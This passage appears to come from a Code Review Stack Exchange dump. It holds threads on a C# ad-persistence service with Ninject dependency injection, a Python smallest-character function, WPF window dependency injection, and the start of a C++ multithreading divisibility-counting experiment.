swap(youngerPerson, result.back());\n sort(result.begin(), result.end(), youngestUser); \n }\n }\n }\n cout &lt;&lt; \"after:\\n\";\n copy(result.begin(), result.end(), ostream_iterator&lt;User&gt;{cout, \"\\n\"});\n}\n</code></pre>\n\n<p>Obviously this sample code is single-threaded, but it shows the suggested lock placement accurately. It also shows doing one last comparison <em>after</em> the lock is obtained to avoid data race problems in which another thread has modified <code>result</code> between the time of the check and the time this thread obtains the lock.</p>\n\n<h2>Don't write misleading comments</h2>\n\n<p>The code contains this:</p>\n\n<pre><code>std::async([&amp;users, job = std::make_unique&lt;ListJob&gt;(apiList)](){job-&gt;run(users);});\n // This will not return until all async jobs have completed.\n</code></pre>\n\n<p>However, that's not really true. An asynchronous call is, well, <em>asynchronous</em>, so depending on the launch policy (which isn't shown in this code), it might very well return immediately. Since the intent seems to be to run the code <em>synchronously</em> here, just remove the <code>std::async</code> wrapper and execute the lambda.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T16:57:41.810", "Id": "452387", "Score": "0", "body": "Yea. I though that comment was true at the time of writing. But I was wrong. Fixed in version 2. :-)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T16:59:22.223", "Id": "452388", "Score": "0", "body": "I only saw [version 2](https://codereview.stackexchange.com/questions/231784/finding-the-5-youngest-users-who-have-valid-us-telephone-numbers-try-2) after I had reviewed this one, but I'm hoping to get some time soon to review that one as well." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T14:06:35.873", "Id": "231837", "ParentId": "231760", "Score": "4" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T00:02:23.317", "Id": "231760", "Score": "3", "Tags": [ "c++", "c++17" ], "Title": "Finding the 5 youngest users who have valid US telephone numbers" }
231760
<p>I am working on an e-commerce website. What I need to do is to save an advertisement. The ad has some properties and some photos... properties should be save to DB and photos should be saved to file system (I am using an amazon S3 bucket for photo storage).</p> <p>So, in order to simplify the process of saving an ad, I have created a new server (an umbrella/combined service) which brings <em>DB-Repository</em> and <em>File-Writer</em> services together, I have called it <code>AdPersister</code>:</p> <pre><code>// an ad data is written to DB, while its photos are written to file system (S3 bucket) // in order to save the ad to persistant storage we need to use AdPersister which // internaly uses both AdRepository &amp; AdImagePersister (internal classes) to save the ad public class AdPersister&lt;TEntity&gt; : IAdPersister&lt;TEntity&gt; where TEntity : AdBase { private AdRepository&lt;TEntity&gt; _adRepository; private IAdImagePersister _adImagePersister; /* * This constructor is tightly coupled to AdRepository and S3AdImagePersister * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ */ public AdPersister(ApplicationDbContext applicationDbContext) { // these services are internal to infrastruce layer, the reason for them being // internal is that we don't want the outside world to use them directly // all the communication with these services should go through AdPersister _adRepository = new AdRepository&lt;TEntity&gt;(applicationDbContext); _adImagePersister = new S3AdImagePersister(); } public Type GetAdType() { return typeof(TEntity); } public void CreateFolder(string photosFolderRelativePath, long userId) { _adImagePersister.CreateFolder(photosFolderRelativePath, userId); } public TEntity GetActiveAd(long adBaseId) { TEntity ad = _adRepository.GetActiveAd(adBaseId); LoadImages(ad); return ad; } public TEntity GetAdIfUserHasPermission(long adBaseId, long userId) { TEntity ad = _adRepository.GetAdIfUserHasPermission(adBaseId, userId); LoadImages(ad); return ad; } public void AddOrUpdate(TEntity adBase) { // Important: call BuildPermanentPhotoNamesAndSave before saving ad to the DB // as it changes photo names to permanent photo names _adImagePersister.BuildPermanentPhotoNamesAndSave(adBase); _adRepository.AddOrUpdate(adBase); } public void AddOrUpdate(List&lt;TEntity&gt; adBases) { // Important: call BuildPermanentPhotoNamesAndSave before saving ad to the DB // as it changes photo names to permanent photo names foreach (TEntity adBase in adBases) { _adImagePersister.BuildPermanentPhotoNamesAndSave(adBase); } _adRepository.AddOrUpdate(adBases); } public void InactivateAds(List&lt;long&gt; adBaseIds) { _adRepository.InacticaveAds(adBaseIds); } private void LoadImages(TEntity ad) { ad.Photos = _adImagePersister.GetAdPhotos(ad.PhotosFolderRelativePath); } } </code></pre> <p><code>AdPersister</code> is in my infrastructure layer and under the hood uses <code>AdRepository</code> and <code>IAdImagePersister</code> which are also defined in the infrastructure layer.</p> <p>The challenge is, I want to enforce the outside world (the web project) to use <code>AdPersister</code> for adding/updating ads... so I have made <code>AdRepository</code> and <code>IAdImagePersister</code> internal to infrastructure layer. The outside world knows only about <code>AdPersister</code>.</p> <p>This is my <code>AdRepository</code> class:</p> <pre><code>// don't call this class from outside world, use AdPersister internal class AdRepository&lt;TEntity&gt; where TEntity : AdBase { private ApplicationDbContext _context; public AdRepository(ApplicationDbContext context) { _context = context; } internal Type GetAdType() { return typeof(TEntity); } internal TEntity GetActiveAd(long adBaseId) { return _context.AdBase.OfType&lt;TEntity&gt;() .AsNoTracking() .Include(r =&gt; r.Address) .Include(r =&gt; r.UserContact) .Where(r =&gt; r.IsActive == true &amp;&amp; r.AdBaseId == adBaseId) .FirstOrDefault(); } internal TEntity GetAdIfUserHasPermission(long adBaseId, long userId) { return _context.AdBase.OfType&lt;TEntity&gt;() .AsNoTracking() .Include(r =&gt; r.Address) .Include(r =&gt; r.UserContact) .Where(a =&gt; a.AdBaseId == adBaseId &amp;&amp; a.UserId == userId) .FirstOrDefault(); } internal void AddOrUpdate(TEntity adBase) { if (adBase.AdBaseId &gt; 0) { // update existing ad var adBasecurState = GetAdBaseCurState(adBase.AdBaseId); if (adBase.DoesUserHavePermission(adBasecurState) == false) { throw new Exception($"This account does not have modification permission for Ad: {adBase.AdBaseId}"); } PrepareContextForAdUpdate(adBasecurState, adBase); } else { PrepareContextForAdInsert(adBase); } _context.SaveChanges(); } internal void AddOrUpdate(List&lt;TEntity&gt; adBases) { List&lt;long&gt; searchIds = adBases.Select(ad =&gt; ad.AdBaseId).ToList(); var adBaseCurStateList = _context.AdBase.OfType&lt;TEntity&gt;().Where(ab =&gt; searchIds.Contains(ab.AdBaseId)).ToList(); foreach (TEntity adBase in adBases) { var adBaseCurState = adBaseCurStateList.Where(cs =&gt; cs.AdBaseId == adBase.AdBaseId).FirstOrDefault(); if (adBase.AdBaseId &gt; 0) { PrepareContextForAdUpdate(adBaseCurState, adBase); } else { PrepareContextForAdInsert(adBase); } } _context.SaveChanges(); } internal void InacticaveAds(List&lt;long&gt; adBaseIds) { if (adBaseIds.Count &gt; 0) { var ads = _context.AdBase.OfType&lt;TEntity&gt;().Where(ab =&gt; adBaseIds.Contains(ab.AdBaseId)).ToList(); foreach (var ad in ads) { ad.IsActive = false; ad.IsDeleted = true; } _context.SaveChanges(); } } private TEntity GetAdBaseCurState(long adBaseId) { return _context.AdBase.OfType&lt;TEntity&gt;() .AsNoTracking() .Where(r =&gt; r.AdBaseId == adBaseId) .FirstOrDefault(); } private void PrepareContextForAdUpdate(TEntity adBaseCurState, TEntity adBaseNewState) { adBaseNewState.SetStartDate(adBaseCurState); _context.AdBase.Attach(adBaseNewState); _context.Entry(adBaseNewState).State = EntityState.Modified; _context.Entry(adBaseNewState).Property(x =&gt; x.UserId).IsModified = false; _context.Entry(adBaseNewState.UserContact).State = EntityState.Detached; // &lt;-- Don't update UserContact View _context.Entry(adBaseNewState.Address).State = EntityState.Modified; } private void PrepareContextForAdInsert(TEntity adBase) { adBase.SetStartDate(); _context.AdBase.Add(adBase); _context.Entry(adBase.UserContact).State = EntityState.Detached; } } </code></pre> <p>This is <code>IAdImagePersister</code> interface (note that it is also internal):</p> <pre><code>internal interface IAdImagePersister { void CreateFolder(string photosFolderRelativePath, long userId); List&lt;string&gt; GetAdPhotos(string photosFolderRelativePath); void BuildPermanentPhotoNamesAndSave(AdBase ad); } </code></pre> <p>And this is <code>S3AdImagePersister</code> which implements <code>IAdImagePersister</code></p> <pre><code>// don't call this class from outside world, use AdPersister internal class S3AdImagePersister : S3CdnBase, IAdImagePersister { public void CreateFolder(string photosFolderRelativePath, long userId) { PathBuilder.ValidateUserPermissionToPath(photosFolderRelativePath, userId); string s3Path = S3PathMapper.GetS3PathForHighLevelApi(photosFolderRelativePath); S3DirectoryInfo di = new S3DirectoryInfo(_cdnClient, _cdnBucketName, s3Path); if (di.Exists) { throw new Exception($"{photosFolderRelativePath} already exists."); } di.Create(); } public List&lt;string&gt; GetAdPhotos(string photosFolderRelativePath) { int i = 0; List&lt;string&gt; photos = new List&lt;string&gt;(new string[GlobalConstants.NoOfPhotosPerAd]); // initialize list to contain 16 elements var s3Photos = GetFiles(photosFolderRelativePath, ImageNameHelper.GetPermanentImagePrefixPattern()); foreach (S3FileInfo s3Photo in s3Photos) { if (i &gt;= GlobalConstants.NoOfPhotosPerAd) { WebLog.Logger.Error($"{photosFolderRelativePath} contains more than {GlobalConstants.NoOfPhotosPerAd} files, the cause need to be investigated."); break; } photos[i++] = s3Photo.Name; } return photos; } public void BuildPermanentPhotoNamesAndSave(AdBase ad) { ad.ValidateUserPermissionToPath(); var images = GetFiles(ad.PhotosFolderRelativePath); for (int i = 0; i &lt; ad.Photos.Count; i++) { if (!string.IsNullOrEmpty(ad.Photos[i])) { if (images.Where(img =&gt; string.Equals(img.Name, ad.Photos[i], StringComparison.InvariantCultureIgnoreCase)).Any() == false) { WebLog.Logger.Error($"photo: {ad.Photos[i]}, was not found in ad folder: {ad.PhotosFolderRelativePath}. This is either a bug or a malicious request."); ad.Photos[i] = string.Empty; } } } foreach (S3FileInfo image in images) { var index = ad.Photos.FindIndex(p =&gt; p.Equals(image.Name, StringComparison.InvariantCultureIgnoreCase)); if (index &gt;= 0) { if (ImageNameHelper.DoesImageHaveCorrectPermanentPrefix(image.Name, index.ToString()) == false) { var permanentImageName = ImageNameHelper.GenerateUniquePermanentImageName(image.Name, index.ToString(), ad.Title); string fullS3Path = S3PathMapper.CombineHighLevelPath(ad.PhotosFolderRelativePath, permanentImageName); image.MoveTo(_cdnBucketName, fullS3Path); ad.Photos[index] = permanentImageName; } } else { image.Delete(); } } } } </code></pre> <p>The above code has the benefit of hiding the internals of <code>AdPersister</code> from the web project and it ensures that anyone wanting to change an ad has to use <code>AdPersister</code>... </p> <p>The drawback is that I cannot use DI to instantiate the internal classes, what I mean is, the DI wiring code in the web project does not know about the internal classes, so I cannot inject them. </p> <p>So as shown earlier the constructor of <code>AdPersister</code> is tightly coupled with the internal classes:</p> <pre><code>public AdPersister(ApplicationDbContext applicationDbContext) { _adRepository = new AdRepository&lt;TEntity&gt;(applicationDbContext); _adImagePersister = new S3AdImagePersister(); } </code></pre> <p>This is my DI code in the web project (using ninject):</p> <pre><code>private static void RegisterServices(IKernel kernel) { kernel.Bind&lt;ApplicationDbContext&gt;().ToSelf().InRequestScope(); Kernel.Bind(typeof(IAdPersister&lt;&gt;)).To(typeof(AdPersister&lt;&gt;)).InRequestScope(); /* I am no longer able to inject the internal classes */ //kernel.Bind&lt;IAdImagePersister&gt;().To&lt;S3AdImagePersister&gt;().InRequestScope(); //kernel.Bind(typeof(AdRepository&lt;&gt;)).ToSelf().InRequestScope(); } </code></pre> <p>Any feedback on this approach? Is there a better way that I could initialize <code>AdPersister</code> class and remove the tight coupling from its constructor?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-10T20:28:46.293", "Id": "453178", "Score": "0", "body": "This [github question](https://github.com/ninject/Ninject/issues/363) is related to to this code review. Also @Nkosi has created [this github gist](https://gist.github.com/nkosihenry/26dd2bbf375f10e5e2c6d38d2d17f7b8) for this question." } ]
[ { "body": "<p>First refactor the implementation to use an internal constructor</p>\n\n<pre><code>internal AdPersister(AdRepository&lt;TEntity&gt; adRepository, IAdImagePersister adImagePersister){\n _adRepository = adRepository;\n _adImagePersister = adImagePersister;\n}\n</code></pre>\n\n<p>Effectively hiding it from use externally and giving you full controll of the class's activation</p>\n\n<p>The lower layer in this case would need to expose an extensibility point to populate the used container by implementing the <a href=\"https://github.com/ninject/Ninject/wiki/Providers%2C-Factory-Methods-and-the-Activation-Context#providers\" rel=\"nofollow noreferrer\"><code>IProvider</code></a> interface (in Ninject.Activation) </p>\n\n<p><strong>Infrastructure Layer</strong></p>\n\n<pre><code>public class AdPersisterProvider : IProvider {\n public Type Type =&gt; typeof(AdPersister&lt;&gt;);\n\n public object Create(IContext context) {\n var genericArguments = context.GenericArguments;\n var genericType = this.Type.MakeGenericType(genericArguments); //AdPersister&lt;T&gt;\n\n var dbContextType = typeof(ApplicationDbContext);\n var repoGenericType = typeof(AdRepository&lt;&gt;).MakeGenericType(genericArguments);\n\n var dbContext = context.Kernel.Get(dbContextType); //assumed registered\n var adRepository = Activator.CreateInstance(repoGenericType, dbContext); //dbContext injected\n var adImagePersister = new S3AdImagePersister();\n\n var argTypes = new [] {\n repoGenericType,\n typeof(IAdImagePersister)\n };\n // Get the internal constructor that take the provided arguments\n var constructor = genericType.GetConstructor(BindingFlags.Instance | BindingFlags.NonPublic, null, argTypes, null);\n\n var parameters = new object[] {\n adRepository,\n adImagePersister\n };\n return constructor.Invoke(parameters);\n }\n}\n</code></pre>\n\n<p>And used in composition root in the web project (using ninject):</p>\n\n<pre><code>private static void RegisterServices(IKernel kernel) {\n kernel.Bind&lt;ApplicationDbContext&gt;().ToSelf().InRequestScope();\n kernel.Bind(typeof(IAdPersister&lt;&gt;)).ToProvider&lt;AdPersisterProvider&gt;().InRequestScope();\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T00:19:09.317", "Id": "453015", "Score": "0", "body": "Comments are not for extended discussion; this conversation has been [moved to chat](https://chat.stackexchange.com/rooms/100837/discussion-on-answer-by-nkosi-grouping-low-level-services-together-into-a-high-l)." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T18:56:47.867", "Id": "231791", "ParentId": "231764", "Score": "2" } } ]
{ "AcceptedAnswerId": "231791", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T05:15:34.690", "Id": "231764", "Score": "3", "Tags": [ "c#", "dependency-injection", "asp.net-mvc", "factory-method", "ddd" ], "Title": "Grouping low-level services together into a high-level service" }
231764
<p>As part of my college class, I have to write a program that returns the "smallest" letter in the string. Input is assumed to be a non empty string. "Smallest" is defined as:</p> <blockquote> <p>The smallest decimal value of the character, pertaining to <a href="https://www.cs.cmu.edu/~pattis/15-1XX/common/handouts/ascii.html" rel="nofollow noreferrer">this</a> chart.</p> </blockquote> <p>The range of acceptable values is <code>0 &lt;= x &lt;= 127</code></p> <p>I would like to get feedback on the algorithm of the code. Other suggestions are accepted and welcome, but the main algorithm is the main focus.</p> <pre><code>def smallest_letter(string: str) -&gt; str: """ Returns the smallest letter in the string Input is restricted to ASCII characters in range 0 &lt;= character &lt;= 127 :param string: A string containing only ASCII letters :return: A string length one of the smallest letter """ # Ensure all characters are within the acceptable range # for character in string: assert ord(character) &lt;= 127 smallest_letter = 1000 for letter in string: if ord(letter) &lt; smallest_letter: smallest_letter = ord(letter) return chr(smallest_letter) if __name__ == "__main__": # Test Cases # assert smallest_letter("abydsufaksjdf") == "a" assert smallest_letter("bfsufsjfbeywafbiu") == "a" assert smallest_letter("ABYUVGDuibfsafuofiw") == "A" </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T07:28:51.573", "Id": "452166", "Score": "2", "body": "Is there a reason you don't simply use `min(\"abydsufaksjdf\")`?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T09:09:41.210", "Id": "452168", "Score": "0", "body": "There is a bug: what happens if you pass an empty string (\"\") to smallest_letter?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T09:36:37.203", "Id": "452169", "Score": "0", "body": "@L.F. I was completely unaware that the `min` method could do those computations. I'll tag this as `reinventing-the-wheel`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T09:36:59.847", "Id": "452170", "Score": "0", "body": "@JanKuiken This is assuming the input is a non empty string. I will update the question accordingly." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-26T00:00:53.433", "Id": "455184", "Score": "0", "body": "I updated my answer, if you want to take a look :)" } ]
[ { "body": "<p>Regarding <code>min(string)</code>: Python exceeding your expectations. It happens a lot.</p>\n\n<h3>assert</h3>\n\n<p>All assert statements can be disabled with a switch to the interpreter, and sometimes are. Therefore, they're not suitable for flow control. I think you should replace:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>for character in string:\n assert ord(character) &lt;= 127\n</code></pre>\n\n<p>With:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>for character in string:\n if ord(character) &gt; 127:\n raise ValueError(f\"Character {character} is out of range.\")\n</code></pre>\n\n<p>or to optimize with a generator instead of the loop (requires Python 3.8+ if you want to report the character that violates the condition):</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>if any(ord(character := char) &gt; 127 for char in string):\n raise ValueError(f\"Character {character} out of range\")\n</code></pre>\n\n<p>(Thanks to @Graipher for proper handling of the := token in 3.8+, which I hadn't worked with myself yet.)</p>\n\n<p>That's all I can see being wrong here, though.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T16:03:44.067", "Id": "452379", "Score": "0", "body": "Me neither, took me a while to find an online interpreter, but TIO has it: https://tio.run/#python38pr" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T17:58:08.797", "Id": "452403", "Score": "1", "body": "Whoopsie. fixed." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T10:13:08.103", "Id": "231771", "ParentId": "231766", "Score": "3" } }, { "body": "<p>Of course <code>min(\"3sdsdf44ldfkTsdfnsnприветsdfa5É\")</code> (contains <em>unicode</em> chars) approach won't be suitable in case if validating/requiring only ASCII chars. </p>\n\n<p>Issues of initial approach :</p>\n\n<ul>\n<li><em>validating empty string.</em> To ensure non-empty input string we'll add a simple assertion at start:<br>\n<code>assert string != \"\", \"Empty string\"</code></li>\n<li><p><em>doubled traversals</em>. On valid input strings like <code>\"3sdsdf44ldfkTe45456fghfgh678567sdfnsnsdfa23\"</code> where the char with minimal code would be at the end part of the string the former approach will make a double traversal though 2 <code>for</code> loops. <br>To avoid that inefficiency we can combine validation and comparison/accumulation logic to be on a single iteration. (you may run time performance measurements to see the difference)</p></li>\n<li><p><code>ord(letter)</code>. Duplicated calls can be eliminated through applying <em>Extract variable</em> technique:\n<code>char_code = ord(char)</code></p></li>\n</ul>\n\n<hr>\n\n<p>The final optimized version:</p>\n\n<pre><code>def smallest_letter(string: str) -&gt; str:\n \"\"\"\n Returns the smallest letter in the string\n Input is restricted to ASCII characters in range 0 &lt;= character &lt;= 127\n\n :param string: A string containing only ASCII letters\n :return: A string length one of the smallest letter\n \"\"\"\n\n assert string != \"\", \"Empty string\"\n\n max_code, min_code = 128, 128\n\n for char in string:\n char_code = ord(char)\n assert char_code &lt; max_code, f\"{char} is not ASCII character\" # ensure the char is in acceptable code range\n if char_code &lt; min_code:\n min_code = char_code\n\n return chr(min_code)\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T10:13:56.487", "Id": "231772", "ParentId": "231766", "Score": "2" } }, { "body": "<p>I'll second what Gloweye said in this answer, namely that <code>assert</code> should not be used for control flow.</p>\n\n<hr>\n\n<p>This solution combines many of the other answers:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>def smallest_character(str_in: str) -&gt; str:\n min_ord = 128\n for curr_char_ord in (ord(c) for c in str_in):\n if curr_char_ord &gt; 127:\n raise ValueError(f'Character {chr(curr_char_ord)} in smallest_letter() arg has ord value {curr_char_ord} '\n f'which is above the allowed maximum of 127')\n else:\n min_ord = min(min_ord, curr_char_ord)\n return chr(min_ord)\n</code></pre>\n\n<hr>\n\n<p>This solution uses <code>min()</code> and <code>max()</code>:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>def smallest_character(str_in: str) -&gt; str:\n min_val = min(str_in)\n max_val = max(str_in)\n if ord(max_val) &gt; 127:\n raise ValueError(\n f'Character {max_val} in smallest_letter() arg has ord value {ord(max_val)} which is above the allowed '\n f'maximum of 127')\n else:\n return min_val\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T01:30:03.857", "Id": "231804", "ParentId": "231766", "Score": "3" } } ]
{ "AcceptedAnswerId": "231804", "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T06:44:58.277", "Id": "231766", "Score": "2", "Tags": [ "python", "python-3.x", "reinventing-the-wheel" ], "Title": "Smallest letter in a string" }
231766
<p>I just finished writing the core for my WPF application and because I'm still a very beginner at software design I wanted to get some feedback about the design decisions I've made. </p> <p>I've uploaded the project to <a href="https://github.com/jm-yikes/Tile-Map-Editor" rel="nofollow noreferrer">Github</a> and I'll post the most important parts here (the project is to big to be posted as a whole). To see the full code base please follow the link. </p> <h2>Purpose</h2> <p>The general purpose of the core I've written was to allow me to use dependency injection to inject directly in to the XAML <code>System.Windows.Window</code> throughout the application lifecycle:</p> <pre><code>public partial class MainWindow : Window { public MainWindow(object myObj) { InitializeComponent(); } } </code></pre> <p>When specifying a <code>StartupUri</code> inside the WPF application for the startup window to use the WPF framework doesn't allow you to have a parameterized constructor inside the window. Because I'm a huge fan of dependency injection this was kind of a downside for me and the application core I've written has the purpose to allow me to use a startup window which gets dependencies injected in the constructor.</p> <h2>Component Management Module</h2> <p>One of the most important parts of the application is the component management module. In order to build and activate a <code>System.Windows.Window</code> I've written a WindowManager which itself is just a proxy for an <code>IWindowManager</code> which is being resolved by an <code>IServiceResolver</code> at runtime:</p> <pre><code>internal class WindowManager { private static IWindowManager _windowManagerImpl; internal static IWindowManager WindowManagerImpl { get { if (_windowManagerImpl == null) _windowManagerImpl = ServiceResolverBuilder.GetServiceResolver()?.Resolve&lt;IWindowManager&gt;(); return _windowManagerImpl; } set { Guard.NotNull(value, nameof(value)); _windowManagerImpl.Dispose(); _windowManagerImpl = value; } } public static Window BuildWindow(Type windowType) =&gt; WindowManagerImpl?.BuildWindow(windowType); public static TWindow BuildWindow&lt;TWindow&gt;() where TWindow : Window =&gt; WindowManagerImpl?.BuildWindow&lt;TWindow&gt;(); public static void ActivateWindow(Window window) =&gt; WindowManagerImpl?.ActivateWindow(window); public static void ShowAsDialog(Window window) =&gt; WindowManagerImpl?.ShowAsDialog(window); } </code></pre> <p>The resolved <code>IWindowManager</code> depends on an <code>IWindowBuilder</code> implementation for creating the window and an <code>IWindowService</code> for activating the window.</p> <h2>Application Startup</h2> <p>On application startup I use an <code>IStartup</code> mainly for setting up the dependency injection container and a <code>StartupWindowHelper</code> which gets the startup window type from the application config. Then I call into the component service module to create and activate the window:</p> <pre><code>public partial class App : Application { protected override void OnStartup(StartupEventArgs e) { RunApplicationStartup(); BuildAndActivateStartupWindow(); base.OnStartup(e); } private void RunApplicationStartup() { var applicationStartup = ApplicationStartupBuilder.BuildApplicationStartup(); applicationStartup.Run(); } private void BuildAndActivateStartupWindow() { var startupWindowType = StartupWindowHelper.GetStartupWindowType(); var startupWindow = WindowManager.BuildWindow(startupWindowType); WindowManager.ActivateWindow(startupWindow); } } </code></pre> <p>I've tried my very best writing the core as clean as possible but as I've already mentioned I'm a beginner and not very experienced with good design.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T13:55:12.270", "Id": "452351", "Score": "0", "body": "Seems quite a lot of code to work around newing up the parameterized window in `OnStartup` (and not providing a StartupUri in the xaml). Why is the `myObj` parameter not used though?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T18:05:04.080", "Id": "452404", "Score": "0", "body": "@MathieuGuindon The myObj parameter was just a sample. I've created a couple of service interfaces that will be injected into the constructor of the window instead." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T18:18:12.520", "Id": "452408", "Score": "0", "body": "I can see how you would like reviewers to focus on the app startup code, but I think you'd get better and more complete feedback if you included an actual dependency being injected - doing this could easily ripple into a review of the general MVVM architecture and DI strategy employed here... whereas a hypothetical `myObj` dependency leaves it unclear *why* there's even a *need* to inject dependencies into the view: I for one, would expect the *ViewModel* to receive such dependencies." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T18:23:41.053", "Id": "452410", "Score": "0", "body": "For example - and maybe I'm doing this wrong, but I always override `OnStartup` and resolve/instantiate the dependencies there, create the ViewModel, and *property-inject* it manually through `DataContext`, e.g. `var vm = new MainWindowViewModel(foo, bar);` and then `var window = new MainWindow { DataContext = vm };`, followed by `window.ShowDialog();` -- the code-behind for `MainWindow` simply wires up `DataContextChanged`, and if there's anything else in the code-behind, it's all 100% UI-specific logic, leaving the view with no dependencies other than its ViewModel." } ]
[ { "body": "<p>Constructor injection is indeed preferable, but it's not the only way to inject dependencies - <em>property injection</em> is just as valid, and in the case of a WPF <code>Window</code>, the only dependency that should be injected, is the ViewModel - and <code>Window</code> already has a property exposed for that: <code>DataContext</code>.</p>\n\n<p>Assuming a <em>Model-View-ViewModel</em> architecture, I cannot think of a single valid reason to constructor-inject anything into a View. The role of the View in MVVM is to be nothing more than a simple I/O device <em>presenting</em> data to the user, and exposing means for that user to provide inputs.</p>\n\n<p>That means a View needing dependencies injected is highly suspicious, because it suggests that the View is at least partly doing the ViewModel's job, and this is going to make that logic much more difficult to test than if it were done elsewhere: the idea behind separating the View from the ViewModel isn't just to leverage the powerful XAML data bindings, it's also to get as much of the <em>not-stricly-presentation</em> concerns out of the View so that they can be unit-tested without popping up a UI.</p>\n\n<p>Now, as I said in an earlier comment, maybe I'm doing this wrong, but I've never had issues with this approach: I remove the <code>StartupUri</code> in the <code>App.xaml</code> markup, and then edit <code>App.xaml.cs</code> to override <code>OnStartup</code> as follows:</p>\n\n<pre><code>protected override void OnStartup(StartupEventArgs e)\n{\n base.OnStartup();\n // if you're using an IoC container, this is where you set it up:\n // ...\n\n // if you're using an IoC container, this is where you resolve your VM's dependencies:\n // ...\n // otherwise, just new it up:\n var vm = new MainWindowViewModel(/*ctor-inject dependencies manually here*/);\n var window = new MainWindow { DataContext = vm };\n window.ShowDialog();\n}\n</code></pre>\n\n<p>The IoC configuration code should go into its own method (could be in <code>App.xaml.cs</code>, or in some static helper), of course. But the point remains: the view doesn't have any dependencies, other than its view model.</p>\n\n<p>The <code>MainWindow.xaml.cs</code> code-behind might look like this:</p>\n\n<pre><code>public partial class MainWindow : Window\n{\n public MainWindow()\n {\n InitializeComponent();\n DataContextChanged += MainWindow_DataContextChanged;\n }\n\n MainWindowViewModel ViewModel =&gt; DataContext as MainWindowViewModel;\n\n private void MainWindow_DataContextChanged(object sender, DependencyPropertyChangedEventArgs e)\n {\n var vm = ViewModel;\n if (vm != null)\n {\n vm.Close += HandleViewModelCloseCommand;\n }\n }\n\n private void HandleViewModelCloseCommand(object sender, EventArgs e)\n {\n Close();\n }\n}\n</code></pre>\n\n<p>Everything else belongs in the ViewModel: any <code>ICommand</code> you might want to inject, any service, unit-of-work/repository, \"business logic\" worker objects - none of these are dependencies of the window itself.</p>\n\n<p>Since a WPF window needs no dependencies, the base premise falls apart, and all that code can be deleted.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T19:24:03.907", "Id": "231850", "ParentId": "231769", "Score": "2" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T07:56:11.647", "Id": "231769", "Score": "3", "Tags": [ "c#", "object-oriented", "wpf" ], "Title": "WPF Extension to directly inject dependencies in the Window constructor" }
231769
<p>The following code is an experiment that I ran to play with the advantages of multi-threading in C++. Given a number <code>10000000000</code> it calculates how many numbers are even, divisible by 5, divisible by 8, divisible by 10 between the range <code>1</code> to <code>10000000000</code>. </p> <p>First, it runs single-threaded function followed by a multi-threaded function.</p> <p>However, the problem with this is that results I got weren't as expected. It shows the multi-threading has no benefit at all. I am not even using mutexes but just multiple threads.</p> <h2>Compiler / IDE Used:</h2> <p>Microsoft Visual Studio 2019 Community Edition, C++17, x64 Release Build with /O2 Optimization.</p> <h2>Code:</h2> <pre><code>#include &lt;iostream&gt; #include &lt;thread&gt; #include &lt;chrono&gt; #include &lt;string&gt; #include &lt;vector&gt; #define CALC_NUMBER 10000000000ull struct Counters { unsigned long long int CountDivTen = 0; unsigned long long int CountDivEight = 0; unsigned long long int CountDivFive = 0; unsigned long long int CountEven = 0; }; Counters DivCounter; // For multi-threading std::vector&lt;std::pair&lt;unsigned long long, unsigned long long&gt;&gt; parts = { {1, 2500000000}, {2500000001, 5000000000}, {5000000001, 7500000000}, {7500000001, 10000000000} }; // Multi-threading counters. std::vector&lt;Counters&gt; MyCounters(4); void SingleThreaded() { std::chrono::high_resolution_clock::time_point StartTime = std::chrono::high_resolution_clock::now(); for (unsigned long long x = 1; x &lt;= CALC_NUMBER; ++x) { // Count the even number if ((x % 2) == 0) ++DivCounter.CountEven; // Count divisible by 5 if ((x % 5) == 0) ++DivCounter.CountDivFive; // Count divisible by 8 if ((x % 8) == 0) ++DivCounter.CountDivEight; // Count divisible by 10 if ((x % 10) == 0) ++DivCounter.CountDivTen; } auto elapsed = std::chrono::high_resolution_clock::now() - StartTime; auto seconds = 